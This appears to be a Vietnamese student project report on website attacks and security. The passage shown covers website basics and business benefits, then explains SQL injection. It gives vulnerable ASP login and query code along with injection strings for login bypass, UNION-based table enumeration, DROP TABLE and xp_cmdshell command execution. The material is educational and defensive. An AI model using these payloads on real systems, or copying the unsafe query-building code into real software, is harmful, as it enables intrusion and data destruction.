You are on page 1of 98

BỘ CÔNG THƢƠNG

TRƢỜNG CAO ĐẲNG KỸ THUẬT CAO THẮNG


KHOA ĐIỆN TỬ - TIN HỌC

ĐỒ ÁN:

TÌM HIỂU VỀ TẤN CÔNG VÀ


BẢO MẬT WEBSITE

Giáo viên hƣớng dẫn: Cô Nguyễn Thị Thanh Thuận


Nhóm sinh viên thực hiện:
Dƣơng Hoàng Đại MSSV: 306081018
Nguyễn Tuấn Đạt MSSV: 306081020
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Nhận xét của giáo viên

.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................

2
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Mục lục

I. Giới thiệu chung.................................................................... trang 04

II. Một số cách thức tấn công website ...................................... trang 11

1. Sử dụng lỗi SQL- Injection............................................... trang 11

2. Sử dụng Công cụ tìm kiếm của Google........................... trang 17

3. Sử dụng JavaScript – Inline............................................. trang 25

4. DDOS .............................................................................. trang 28

III. Một số cách bảo mật cho website ........................................ trang 29

1. SSL(Secure Socket Layer) ............................................. trang 29

2. Các công cụ khảo sát và tìm lỗi cho webserver .............. trang 71

* Super Scan................................................................... trang 75

*SNIFFER ....................................................................... trang 78

*CAIN .............................................................................. trang 81

IV. Kết luận................................................................................. trang 98

3
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Lời mở đầu
Ngày nay, trong thời buổi công nghệ thông tin, website là một thuật ngữ đã trở
nên quá quen thuộc đối với mọi người, nó trở nên phổ biến trên tất cả các lĩnh
vực như giáo dục, y tế, giải trí, chính trị,… và các nguồn dữ liệu đưa lên
internet thì ngày càng nhiều, và cũng có nhiều kẻ muốn có được chúng với
những mục đích khác nhau. Vì vậy xảy ra một mâu thuẫn lớn, đó là bảo mật
web và tấn công web. Họ đều dùng những công cụ dò tìm lỗi trong trang web,
nhưng một bên thì sữa lỗi, một bên thì lại căn cứ vào lỗi đó để tấn công, thắng
hay thua là còn tùy người quản trị trang web và tùy vào tài năng của những
hacker như thế nào.

Vì tính phổ biến này, chúng tôi xin giới thiệu đến các bạn một cái nhìn sơ lược
về tấn công và bảo mật một website.

4
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

I. Giới thiệu chung về website

Trước khi tìm hiểu vấn đề tấn công và bảo mật website, chúng ta hãy tim hiểu
website là gì? Và chúng hoạt động như thế nào?

Website là một điạ chỉ mạng dạng http://www.companyname.com hay


http://www.companyname.com.vn ….trong đó có chứa nhều trang web thể
hiện nhiều thông tin siêu văn bản như: hình ảnh, âm thanh, flash, … về một
hay nhiều chủ đề nào đó và được lập trình bởi một một ngôn ngữ nào đó, ví
dụ như html, C#, php,… Website được mở bởi một trình duyệt nào đó có sẵn
trong máy tính của bạn, ví dụ như Internet Explorer, Google Chrome, Opera,

Thông thường, website được chia thành 2 loại:

- Website tĩnh: là website không có Cơ Sở Dữ Liệu mà chỉ là các trang


web do người thiết kế tạo thành bằng các phần mềm tạo trang website.
Website này thích hợp cho những nội dung trình bày phức tạp, đòi hỏi cao về
đồ họa và ít thay đổi về nội dung vì việc cập nhật website này phải do những
người có chuyên môn thực hiện và khá tốn công.
- Website động: là website có Cơ Sở Dữ Liệu do các công ty thiết kế chuyên
nghiệp xây dựng và sẽ bàn giao công cụ quản lý, cập nhật website cho khách
hàng. Việc cập nhật website rất đơn giản và tiện lợi. Thông tin trên website
thường xuyên được cập nhật và không giới hạn lượng thông tin.

Trang web là một trang trong một website nào đó có dạng như
http://www.companyname.com/example.html . Trong đó example.html là tên
của trang web đó.

Tên miền (domain): tên miền chính là địa chỉ website, website bắt buộc phải
có tên miền. Tên miền có nhiều dạng www.abc.com hay www.abc.net hay
www.abc.com.vn... Có những website không mua tên miền riêng mà dùng tên
miền con (sub-domain) dạng www.abc.com/xyz. Dạng tên miền con như vậy

5
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

không phải tốn tiền mua mà trên nguyên tắc là website “mẹ” (tức
www.abc.com) có thể “mở” vài trăm, nghìn tên miền con như thế.

Dịch vụ lưu trữ (hosting): muốn những trang web được hiện lên khi người ta
truy cập nó thì chúng phải được lưu trữ trên một máy tính (máy phục vụ -
server) mà lúc nào cũng hoạt động và kết nối với mạng Internet. Nếu máy tính
này có sự cố bị tắt trong một thời điểm nào đó thì lúc đó không ai truy cập
được những website lưu trữ trên máy tính đó. Tùy theo nhu cầu mà doanh
nghiệp có thể chọn mua hosting với dung lượng 10MB (tức chứa được tối đa
10MB dữ liệu), 20MB, 50MB, 100MB hay nhiều hơn. Giá hosting hiện nay
cũng rất thấp, chỉ từ vài chục nghìn đến một hai trăm nghìn đồng mỗi tháng.

Hacker/Hacking: hacker là những người thích nghiên cứu về bảo mật trên
Internet và “thực tập” bằng cách đi “đánh phá” những website nào sơ hở về
bảo mật. Nói chung, không một website nào trên thế giới mà dám tuyên bố
bảo mật tuyệt đối. Hacker có thể cướp tên miền của website, có thể thay đổi
nội dung của website, có thể tấn công ồ ạt (các lệnh yêu cầu server hoạt
động) làm cho website bị “tê liệt” trong một khoảng thời gian. Những việc này
doanh nghiệp nên hỏi nhà cung cấp dịch vụ hosting của mình xem họ có
chính sách phục hồi như thế nào.

Như vậy, một website thì cần phải có một tên miền (Domain) , một nơi lưu trữ
các trang web (Hosting) và cơ sở dữ liệu (Database) luôn kết nối internet.

Bảo mật website là gì? Tại sao chúng ta cần phải bảo mật website?

Bảo mật website là dùng những công cụ bảo mật website để đảm bảo an toàn
cho website của mình, ngăn chặn tối đa sự tấn công của các Hacker muốn
xâm nhập và phá hoại hoặc lấy thông tin mật trong website của mình, đảm
bảo cơ sở dữ liệu được an toàn.

Vì sao cần bảo vệ cơ sở dữ liệu của website ? Cơ sở dữ liệu của website là


một phần rất quan trong của một công ty, nếu mất cơ sỡ dữ liệu này sẽ gây
ảnh hưởng nghiêm trọng đến hoạt động của công ty. Ví dụ : một công ty abc

6
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

có trang web : abc.com.vn bị hacker tấn công và sữa dữ liệu của website
thành một công ty khác, những người có nhu cầu liên lạc với công ty thông
qua website sẽ cảm thấy thất vọng về công ty này, bởi website của họ đã bị
hack, như vậy là ảnh hưởng đến danh tiến của công ty, chưa kể đến việc các
hacker cung cấp thông tin tài chính hay các dự án của công ty này cho các
công ty khác đang có nhu cầu cạnh tranh, làm thiệt hại tài sản của công ty.

Một công ty có sở hữu một website sẽ rất nguy hiểm. Thế tại sao công ty nào
cũng có một website cho riêng mình ? Dưới đây là một số lý do :

1. Thiết lập sự hiện diện

Có xấp xỉ 300 triệu người trên thế giới đã truy cập vào mạng Internet và số
lượng này không ngừng được tăng lên hàng ngày. Việc tiếp cận được dù chỉ
1% nhóm khách hàng này cũng là 1 thành công của doanh nghiệp.

Đó là một phần không nhỏ của cộng đồng xã hội, hãy cho họ biết rằng bạn
quan tâm tới việc phục vụ cả cộng đồng này, bạn cần phải có mặt trên mạng
Internet. Bạn nên biết rằng, đối thủ cạnh tranh của bạn cũng đang làm như
vậy.

2. Tận dụng hoàn toàn các cơ hội tiếp xúc

Nhiều khi công việc kinh doanh được hiểu một cách đơn giản là giao tiếp với
khách hàng. Mọi doanh nhân khôn ngoan đều hiểu rằng: "Bí quyết thành công
không nằm ở chỗ những gì bạn biết mà chính là ở chỗ bạn biết tới những
khách hàng nào". Các doanh nhân đều muốn tận dụng các cuộc gặp gỡ thông
thường thành công việc kinh doanh có lợi và việc trao danh thiếp là một việc
được coi trọng trong quá trình này. Nhưng điều gì sẽ xảy ra khi doanh nghiệp
cần phải gặp gỡ hàng ngàn, thậm chí hàng triệu đối tác làm ăn, liệu các
doanh nghiệp có thể tiếp xúc cùng một lúc với tất cả các khách hàng. Điều
này có thể được giải quyết hết sức đơn giản, tại mọi lúc, mọi nơi, mọi thời
điểm thông qua các trang Web trên mạng Internet.

3. Tạo ra nguồn thông tin sẵn có cho đối tác

Khi bạn muốn tạo các trang thông tin, quảng cáo, có thể bạn sẽ đăng chúng
trên mục quảng cáo, trang vàng, nhưng thời gian sẽ làm cho bạn phải tính lại.
Vì, làm thế nào để khách hàng quan tâm có thể liên hệ được ngay với bạn?
Phương thức thanh toán trong mỗi dịch vụ sẽ như thế nào? Quảng cáo trang
vàng sẽ khó khăn trong việc này vì đây vẫn chỉ là một loại phương tiện truyền
thông có khoảng cách. Trong thời đại hiện nay, các thông tin đòi hỏi phải
nhanh chóng hơn và mang tính đa chiều hơn. Internet sẽ giúp bạn làm được

7
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

điều đó thông qua những trang thông tin được duy trì liên tục 24/24 giờ trong
ngày và 07 ngày trong tuần. Khách hàng có thể xem thông tin về doanh
nghiệp của bạn bất kỳ lúc nào họ muốn, thậm chí ngay cả khi bạn đang ngủ.

4. Phục vụ khách hàng hiệu quả

Công nghệ Internet sẽ mang lại cho doanh nghiệp của bạn nhiều cách hơn để
phục vụ khách hàng. Liệu bạn có đủ đội ngũ nhân viên trực điện thoại để tiếp
nhận các yêu cầu của khách hàng về cung cấp thông tin dịch vụ mà họ cần?
Liệu khách hàng có thể tự động tra cứu vào cơ sở dữ liệu, tìm kiếm các thông
tin về dịch vụ bạn đang tiến hành mà họ muốn không? Tất cả điều này khách
hàng có thể là được 1 cách đơn giản và nhanh chóng thông qua chính
Website của doanh nghiệp bạn.

5. Thu hút sự quan tâm của dân chúng

Bạn khó mà thuyết phục được các tạp chí đăng bài về việc bạn khai trương
một cửa hàng mới nhưng bạn lại có thể thuyết phục được họ đăng bài nêu tên
Website của bạn vì trang Web đó mới và có nhiều điều thú vị. Với các thông
tin như vậy, bất kỳ người sử dụng Internet nào cũng có thể truy cập vào
Website để tìm hiểu về doanh nghiệp của bạn và có thể trở thành khách hàng
tiềm năng.

6. Công bố thông tin vào bất kỳ thời gian nào

Nếu bạn cần phải công bố các tài liệu trước lúc nửa đêm thì sẽ như thế nào?
Giả sử đó là tin khẩn cấp, công bố các giải thưởng của chương trình khuyến
mại,... Nếu bạn gửi các tin này tới các tòa soạn báo thì bạn sẽ gặp phải trở
ngại về thời gian: Thông tin của bạn chỉ được phát hành cùng với giờ phát
hành của báo và không thể thay đổi sau khi báo đã được phát hành. Với
Internet, bạn hoàn toàn có thể thay đổi tin tức mới cho Website của doanh
nghiệp trong vòng vài giây đồng hồ, những thông tin mới nhất sẽ được cập
nhật và sẽ được chuyển tới những người mong đợi mà không phải qua bất kỳ
người đưa tin nào.

7. Để bán hàng hóa

Internet đem lại cho doanh nghiệp của bạn một cơ hội lớn để bạn có thể bán
hàng hóa. Sự phát triển của Internet trên toàn thế giới kéo theo sự ra đời và
mở rộng của một thị trường khách hàng mới đầy tiềm năng - cộng đồng người
sử dụng Internet. Liệu bạn có nên chần chừ khi mà các đối thủ cạnh tranh
trong kinh doanh của bạn đang dần từng bước thâm nhập và chiếm lĩnh thị
phần trên Internet?

8. Giới thiệu sản phẩm sinh động

8
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Nếu sản phẩm của bạn là những chiếc máy thì khách hàng sẽ thực sự bị
thuyết phục khi nhìn thấy nó hoạt động ra sao. Internet mở ra cho bạn nhiều
cách thức để giới thiệu sản phẩm thật sinh động tới khách hàng thông qua
Website bằng hình ảnh, âm thanh, các đoạn phim ngắn, điều này sẽ khiến các
khách hàng tiềm năng sẽ đến với bạn nhiều hơn, không một quyển sách giới
thiệu nào có thể làm được như vậy.

9. Vƣơn tới một thị trƣờng dân chúng có thu nhập cao

Số lượng người tham gia vào mạng Internet có thể tạo ra một thị trường sẵn
có đông đảo nhất. Những người sử dụng Internet thường là những người có
trình độ học vấn, có hiểu biết và địa vị ổn định, thu nhập cao trong xã hội.
Chính vì vậy, tiếp cận được và chiếm lĩnh thị trường khách hàng này là điều
mà bất kỳ doanh nghiệp kinh doanh nào cũng mong muốn đạt được.

10. Trả lời các câu hỏi thƣờng gặp

Bất kỳ người trực điện thoại nào trong công ty bạn cũng đều nói rằng họ dùng
phần lớn thời gian của mình để trả lời các câu hỏi gần như giống nhau. Đó là
những câu hỏi mà các khách hàng muốn hỏi trước khi họ giao dịch với bạn.
Đưa những câu hỏi này lên Website sẽ giúp bạn loại bỏ được những rào chắn
đối với công việc kinh doanh và giải phóng bớt thời gian cho nhân viên trực
điện thoại.

11. Giải quyết thông tin nội bộ

Các nhân viên bán hàng lưu động có thể cần những thông tin cập nhật từng
phút để giúp họ bán hàng cũng như giúp cho việc kinh doanh luôn ăn ý. Nếu
bạn biết thông tin gì cần thiết, bạn có thể đưa chúng lên 1 Website riêng. Với
một cuộc truy cập Internet thông qua điện thoại nội hạt, nhân viên bán hàng
của doanh nghiệp bạn ở bất kỳ nơi đâu trên thế giới sẽ nhận được những
thông tin đầy đủ nhất mà không phải trả cước phí đường dài và những nhân
viên ở văn phòng không bận rộn thêm.

12. Mở rộng ra thị trƣờng quốc tế

Với việc kinh doanh thông thường bạn không thể gửi thư, điện thoại hay phổ
biến các quy định tới tất cả mọi khách hàng tiềm năng trên thị trường thế giới,
nhưng với Website bạn có thể hội thoại trực tiếp với khách hàng quốc tế như
là với một khách hàng trong nội hạt. Khi doanh nghiệp của bạn có các văn
phòng đại diện ở nước ngoài, họ sẽ truy cập vào nguồn thông tin của văn
phòng trong nước với chi phí phải trả vhỉ bằng một cuộc điện thoại gọi nội hạt.

13. Hình thành dịch vụ 24 giờ

Chúng ta không phải lúc nào cũng có những công việc cùng chung một lịch
trình. Công việc kinh doanh là khắp mọi lúc, mọi nơi chứ không phải chỉ là thời

9
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

gian ở công sở. Khi công việc kinh doanh giữa Châu Âu và Châu Á đang thực
hiện thì sự khác biệt về thời gian sẽ là điều cản trở lớn. Các Website sẽ phục
vụ khách hàng và các đối tác của bạn 24/24 giờ trong ngày, 07/07 ngày trong
tuần. Thông tin có thể được khách hàng lựa chọn theo nhu cầu và các thông
tin mà họ coi là quan trọng, chính điều này sẽ đưa bạn dẫn đầu trong cuộc
cạnh tranh ngay cả khi bạn ở ngoài văn phòng làm việc.

14. Thay đổi thông tin hiện thời 1 cách nhanh chóng

Có những thông tin bị thay đổi trước khi nó được in ra. Và bạn sẽ có một đống
giấy tờ có cũng như không có giá trị lẫn lộn nhau. Các ấn phẩm điện tử có thể
thay đổi theo nhu cầu của bạn mà không cần đến giấy tờ, bút mực hay hóa
đơn. Bạn còn có thể gắn Website của doanh nghiệp với 1 cơ sở dữ liệu mà
bạn có thể thay đổi bao nhiêu lần trong 1 ngày cũng được tùy theo yêu cầu.
Chẳng có giấy tờ nào có thể giúp bạn thực hiện được sự năng động đó.

15. Cho phép bạn tiếp nhận thông tin phản hồi từ phía khách hàng

Với Website bạn có thể yêu cầu thông tin phản hồi từ phía khách hàng ngay
lập tức khi họ đang ghé thăm Website của doanh nghiệp bạn. Điều này giúp
bạn tiết kiệm được rất nhiều thời gian và tiền bạc để hoạch định các chiến
lược quảng cáo và kinh doanh trên cơ sở những thông tin nắm bắt được từ
phía khách hàng mà không phải mất thêm khoản chi nào nữa. Câu trả lời của
khách hàng được đưa lên Website ngay khi khách hàng tìm hiểu sản phẩm và
được chuyển lập tức tới địa chỉ e-mail của bạn.

16. Thử nghiệm dịch vụ và sản phẩm mới trên thị trƣờng

Khi đưa ra một sản phẩm mới trên thị trường, điều mà tất cả các doanh
nghiệp phải làm là quảng cáo và giới thiệu sản phẩm đó. Với các phương
pháp quảng cáo truyền thống, đây sẽ là một công đoạn rất tốn kém và đòi hỏi
kinh phí lớn. Nhưng nếu bạn giới thiệu, quảng cáo sản phẩm mới trên
Website của doanh nghiệp bạn, bạn sẽ biết rằng có thể chờ đợi gì từ những
khách hàng truy cập vào Website, họ chính là thị trường ít tốn kém nhất mà
bạn vươn tới. Họ còn có thể cho bạn biết họ nghĩ gì về sản phẩm của bạn 1
cách nhanh nhất, dễ dàng nhất với một chi phí ít hơn bất kỳ thị trường nào mà
bạn vươn tới.

17. Phƣơng tiện truyền thông linh hoạt

Ngày nay, Internet được đánh giá là hệ thống truyền dẫn chuyên nghiệp nhất
bởi vì sản phẩm chính của nó là các thông tin được tiếp cận một cách dễ
dàng, nhanh chóng và rẻ tiền. Tất cả các ấn phẩm được truyền trên Internet
đang ngày càng trở nên phổ biến bởi vì các công việc đều được thực hiện
trong môi trường kỹ thuật số từ rất nhiều nguồn thông tin cung cấp. Tất cả
những công việc này thực hiện một cách dễ dàng thông qua các trang Web
trên chính Website của doanh nghiệp bạn.

10
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

18. Tiếp cận một thị trƣờng của giới trẻ và mang tính giáo dục

Ở hầu hết các trường đại học đều đã cho sinh viên tiếp cận vào Internet, giới
học sinh phổ thông sẽ từng bước làm quen và sử dụng dịch vụ Internet trong
nhiều năm tới. Nhu cầu về sách vở, trang phục thể thao, các khóa học, thời
trang trẻ và rất nhiều thứ khác sẽ trở thành nhu cầu đa dạng của thị trường
trên Internet. Thậm chí ngay cả khi áp dụng dịch vụ thương mại điện tử trên
mạng và tuổi thọ trung bình có phần tăng lên thì sự tăng trưởng của khu vực
thị trường tuổi dưới 25 vẫn tiếp tục.

19. Tiếp cận một thị trƣờng có tính chuyên nghiệp

Mạng Internet không đơn thuần chỉ là những máy tính mà nó còn là nơi mọi
người có thể mua bán, trao đổi bất kỳ thứ gì từ chiếc bàn chải đánh răng, các
tác phẩm nghệ thuật cho đến các bài học tiếng Anh,... Với 70 triệu người sử
dụng thường xuyên và số lượng người sử dụng tăng lên hàng ngày, thông tin
kinh doanh của bạn có thể được giới thiệu cho một số lượng người rất lớn.

20. Phục vụ tại thị trƣờng địa phƣơng

Chúng ta đã nói về sức mạnh của việc phục vụ nhu cầu trên thị trường quốc
tế thông qua Internet, nhưng còn khu vực thị trường ở ngay địa phương của
bạn thì sao? Câu trả lời là: chính khách hàng trong địa phương bạn thông qua
các hoạt động marketing, họ sẽ biết tới Website, truy cập thông tin trên
Internet và mang lại lợi nhuận cho công ty bạn. Cho nên dù công ty được đặt
ở đâu thì thông qua mạng Internet, những khách hàng tiềm năng vẫn biết đến
bạn và bạn cũng sẽ sẵn sàng phục vụ họ.

II. Một số cách thức tấn công website


1. Sử dụng lỗi SQL – injection

1.1 SQL Injection là gì?


Khi triển khai các ứng dụng web trên Internet, nhiều người vẫn nghĩ rằng
việc đảm bảo an toàn, bảo mật nhằm giảm thiểu tối đa khả năng bị tấn công
từ các tin tặc chỉ đơn thuần tập trung vào các vấn đề như chọn hệđiều hành,
hệ quản trị cơ sở dữ liệu, webserver sẽ chạy ứng dụng, ... mà quên mất rằng
ngay cả bản thân ứng dụng chạy trên đó cũng tiềm ẩn một lỗ hổng bảo mật
rất lớn. Một trong số các lỗ hổng này đó là SQL injection. Tại Việt Nam, đã
qua thời kì các quản trị website lơ là việc quét virus, cập nhật các bản vá lỗi từ
các phần mềm hệ thống, nhưng việc chăm sóc các lỗi của các ứng dụng lại
rất ít được quan tâm. Đó là lí do tại sao trong thời gian vừa qua, không ít
website tại Việt Nam bị tấn công và đa số đều là lỗi SQL injection [1]. Vậy SQL
injection là gì ?
SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ
hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông

11
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào" (inject) và thi hành các câu
lệnh SQL bất hợp pháp (không được người phát triển ứng dụng lường trước).
Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện
các thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng
dụng, thậm chí là server mà ứng dụng đó đang chạy. Lỗi này thường xảy ra
trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ
liệu như SQL Server, MySQL, Oracle, DB2, Sysbase.
1.2. Các dạng tấn công bằng SQL Injection
Có bốn dạng thông thường bao gồm: vượt qua kiểm tra lúc đăng nhập
(authorization bypass), sử dụng câu lện SELECT, sử dụng câu lệnh INSERT,
sử dụng các stored-procedures [2], [3].
Dạng tấn công vƣợt qua kiểm tra đăng nhập
Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng
nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của
ứng dụng web.
Xét một ví dụđiển hình, thông thường để cho phép người dùng truy cập
vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập
để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi
người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật
khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp.
Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML
để hiển thị form nhập liệu và một trang ASP dùng để xử lí thông tin nhập từ
phía người dùng. Ví dụ:
login.htm
<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="fUSRNAME"><br>
Password: <input type="password" name="fPASSWORD"><br>
<input type="submit">
</form>

execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form("fUSRNAME")
vPassword = Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("USR_NAME")
End If
Set objRS = Nothing 12
%>
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Thoạt nhìn, đoạn mã trong trang execlogin.asp dường như không chứa
bất cứ một lỗ hổng về an toàn nào. Người dùng không thể đăng nhập mà
không có tên đăng nhập và mật khẩu hợp lệ. Tuy nhiên, đoạn mã này thực sự
không an toàn và là tiền đề cho một lỗi SQL injection. Đặc biệt, chỗ sơ hở
nằm ở chỗ dữ liệu nhập vào từ người dùng được dùng để xây dựng trực tiếp
câu lệnh SQL. Chính điều này cho phép những kẻ tấn công có thểđiều khiển
câu truy vấn sẽ được thực hiện. Ví dụ, nếu người dùng nhập chuỗi sau vào
trong cả 2 ô nhập liệu username/password của trang login.htm là: ' OR ' ' = ' '.
Lúc này, câu truy vấn sẽđược gọi thực hiện là:
SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and
USR_PASSWORD= '' OR ''=''
Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của
T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp
này như là người dùng đăng nhập hợp lệ.
Dạng tấn công sử dụng câu lệnh SELECT
Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này,
kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo
lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công.
Xét một ví dụ rất thường gặp trong các website về tin tức. Thông
thường, sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy vấn nội
dung của tin có ID này. Ví dụ: http://www.myhost.com/shownews.asp?ID=123.
Mã nguồn cho chức năng này thường được viết khá đơn giản theo dạng
<%

Dim vNewsID, objRS, strSQL

vNewsID = Request("ID")

strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID

Set objRS = Server.CreateObject("ADODB.Recordset")

objRS.Open strSQL, "DSN=..."

Set objRS = Nothing

%>

Trong các tình huống thông thường, đoạn mã này hiển thị nội dung của
tin có ID trùng với ID đã chỉ định và hầu như không thấy có lỗi. Tuy nhiên,
giống như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một lỗi SQL
injection khác. Kẻ tấn công có thể thay thế một ID hợp lệ bằng cách gán ID

13
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

cho một giá trị khác, và từđó, khởi đầu cho một cuộc tấn công bất hợp pháp,
ví dụ như: 0 OR 1=1 (nghĩa là, http://www.myhost.com/shownews.asp?ID=0
or 1=1).
Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì
nó sẽ thực hiện câu lệnh:
SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1
Một trường hợp khác, ví dụ như trang tìm kiếm. Trang này cho phép
người dùng nhập vào các thông tin tìm kiếm như Họ, Tên, … Đoạn mã
thường gặp là:

<%

Dim vAuthorName, objRS, strSQL

vAuthorName = Request("fAUTHOR_NAME")

strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME =' " & _

vAuthorName & " ' "

Set objRS = Server.CreateObject("ADODB.Recordset")

objRS.Open strSQL, "DSN=..."


Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để
Setnhập
objRSvào
= Nothing
trường tên tác giả bằng chuỗi giá trị:
%>' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE
''=' (*)
Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ
thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa.
Tất nhiên các ví dụ nói trên, dường như không có gì nguy hiểm, nhưng
hãy thử tưởng tượng kẻ tấn công có thể xóa toàn bộ cơ sở dữ liệu bằng cách
chèn vào các đoạn lệnh nguy hiểm như lệnh DROP TABLE. Ví dụ như: '
DROP TABLE T_AUTHORS -
Chắc các bạn sẽ thắc mắc là làm sao biết được ứng dụng web bị lỗi
dạng này được. Rất đơn giản, hãy nhập vào chuỗi (*) như trên, nếu hệ thống
báo lỗi về cú pháp dạng: Invalid object name “OtherTable”; ta có thể biết chắc
là hệ thống đã thực hiện câu SELECT sau từ khóa UNION, vì như vậy mới có
thể trả về lỗi mà ta đã cố tình tạo ra trong câu lệnh SELECT.
Cũng sẽ có thắc mắc là làm thế nào có thể biết được tên của các bảng
dữ liệu mà thực hiện các thao tác phá hoại khi ứng dụng web bị lỗi SQL
injection. Cũng rất đơn giản, bởi vì trong SQL Server, có hai đối tượng là
sysobjects và syscolumns cho phép liệt kê tất cả các tên bảng và cột có trong
hệ thống. Ta chỉ cần chỉnh lại câu lệnh SELECT, ví dụ như:

14
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

' UNION SELECT name FROM sysobjects WHERE xtype = 'U' là có


thể liệt kê được tên tất cả các bảng dữ liệu.

Dạng tấn công sử dụng câu lệnh INSERT


Thông thường các ứng dụng web cho phép người dùng đăng kí một tài
khoản để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công,
người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể
được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào.
Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng: INSERT INTO
TableName VALUES('Value One', 'Value Two', 'Value Three'). Nếu đoạn mã
xây dựng câu lệnh SQL có dạng :
<%

strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _

& strValueTwo & " ', ' " & strValueThree & " ') "

Set objRS = Server.CreateObject("ADODB.Recordset")

objRS.Open strSQL, "DSN=..."

Thì chắc chắn sẽ bị lỗi SQL injection, bởi vì nếu ta nhập vào trường thứ
nhất ví dụ như: ' + (SELECT TOP 1 FieldName FROM TableName) + '. Lúc
này câu truy vấn sẽ là: INSERT INTO TableName VALUES(' ' + (SELECT
TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def'). Khi đó, lúc thực hiện
lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh nữa đó
là: SELECT TOP 1 FieldName FROM TableName
Dạng tấn công sử dụng stored-procedures
Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng
dụng được thực thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay đoạn
mã tiêm vào dạng: ' ; EXEC xp_cmdshell „cmd.exe dir C: '. Lúc này hệ
thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. Việc phá
hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.
1.3. Cách phòng tránh
Như vậy, có thể thấy lỗi SQL injection khai thác những bất cẩn của các
lập trình viên phát triển ứng dụng web khi xử lí các dữ liệu nhập vào để xây
dựng câu lệnh SQL. Tác hại từ lỗi SQL injection tùy thuộc vào môi trường và
cách cấu hình hệ thống. Nếu ứng dụng sử dụng quyền dbo (quyền của người
sở hữu cơ sở dữ liệu - owner) khi thao tác dữ liệu, nó có thể xóa toàn bộ các
bảng dữ liệu, tạo các bảng dữ liệu mới, … Nếu ứng dụng sử dụng quyền sa
(quyền quản trị hệ thống), nó có thểđiều khiển toàn bộ hệ quản trị cơ sở dữ
liệu và với quyền hạn rộng lớn như vậy nó có thể tạo ra các tài khoản người
dùng bất hợp pháp để điều khiển hệ thống của bạn. Để phòng tránh, ta có thể

15
